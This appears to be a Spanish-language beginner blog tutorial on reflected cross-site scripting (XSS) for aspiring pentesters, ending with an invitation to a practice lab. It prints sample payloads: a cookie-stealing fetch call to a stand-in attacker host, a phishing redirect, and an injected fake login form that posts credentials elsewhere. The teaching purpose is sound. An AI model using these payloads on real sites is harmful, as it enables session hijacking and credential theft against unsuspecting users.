🧠 ¿Qué es eso de «XSS»?
XSS significa Cross-Site Scripting, o “scripts entre sitios”.
Es una forma de inyectar código malicioso en una web para que el navegador lo ejecute como si fuera parte de la página original.
Cuando ese código viene desde la propia URL o un formulario, y se muestra directamente sin revisarlo, se llama XSS reflejado.
👇 Un ejemplo para que lo entiendas mejor:
Imagina una página web donde buscas tu nombre:
https://ejemplo.com/busqueda?q=ana
Y la página responde con:
«Has buscado: ana»
Todo normal, ¿no?
Ahora cambia la URL a esto:
https://ejemplo.com/busqueda?q=<script>alert('Hola')</script>
Y si la página no protege lo que muestras, lo que pasará es que el navegador ejecutará ese código.
En vez de mostrar el texto como tal, lanza un aviso como este:
🔔 Aparece una ventana con «Hola» (el famoso alert)
Eso significa que la página es vulnerable.
⚠️ ¿Y esto por qué es peligroso? ¿Qué puede hacer un atacante?
Buena pregunta. Aquí tienes algunos ejemplos reales y fáciles de entender:
🔐 1. Robar la sesión de otro usuario
Las páginas web usan cookies para saber quién eres.
Si puedes ver la cookie con JavaScript, puedes copiarla.
➡️ El atacante se roba la cookie y puede entrar a la cuenta de otra persona sin saber su contraseña.
jsCopiarEditarfetch('https://malicioso.com?cookie=' + document.cookie)
🪤 2. Crear enlaces falsos que engañan
Un atacante manda un enlace por email o WhatsApp:
https://pagina-segura.com/?mensaje=<script>window.location='https://phishing.com'</script>
Y la víctima piensa que entra a la página original, pero es redirigida automáticamente a una falsa, que parece igual y le pide su contraseña.
🧪 3. Inyectar contenido que parece legítimo
El atacante puede insertar un formulario falso para que metas tu usuario y contraseña:
<form action="https://robo-cuentas.com">
<input name="usuario">
<input name="contraseña" type="password">
</form>
El usuario no se da cuenta… y entrega sus datos a los malos.
🎯 Entonces… ¿qué harías tú como pentester?
Si estás aprendiendo a hacer pruebas de seguridad, esto es uno de los primeros tests que deberías probar en cualquier web:
- Encuentra un campo donde el contenido se refleja (URL, formulario, parámetro).
- Prueba a meter código como
<script>alert(1)</script>. - Si se ejecuta… bingo: la web no está filtrando correctamente lo que entra.
🧪 Prueba práctica del reto
Si no tienes DVWA, Juice Shop u otro entorno donde practicar, puedes usar este pequeño laboratorio online que he montado (tarda en levantarse el servicio, es gratis ;D):
Se trata de una página vulnerable a XSS reflejado.
Tu objetivo sigue siendo el mismo: hacer que se ejecute alert('XSS') al cargar la página.
💡 Consejo: prueba con distintos parámetros, técnicas de codificación y comillas. Si logras ejecutarlo, ¡compártelo conmigo!
Deja un comentario